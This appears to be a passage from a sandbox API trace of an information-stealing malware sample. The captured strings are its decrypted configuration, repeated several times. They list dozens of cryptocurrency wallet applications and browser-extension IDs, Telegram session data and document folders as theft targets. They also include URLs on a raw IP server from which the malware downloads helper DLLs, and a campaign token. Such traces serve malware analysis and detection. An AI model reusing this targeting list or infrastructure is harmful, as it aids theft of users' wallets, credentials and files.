Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.216] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.216] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.216] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.217] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.217] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.217] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.217] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.217] lstrlenW (lpString="binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension 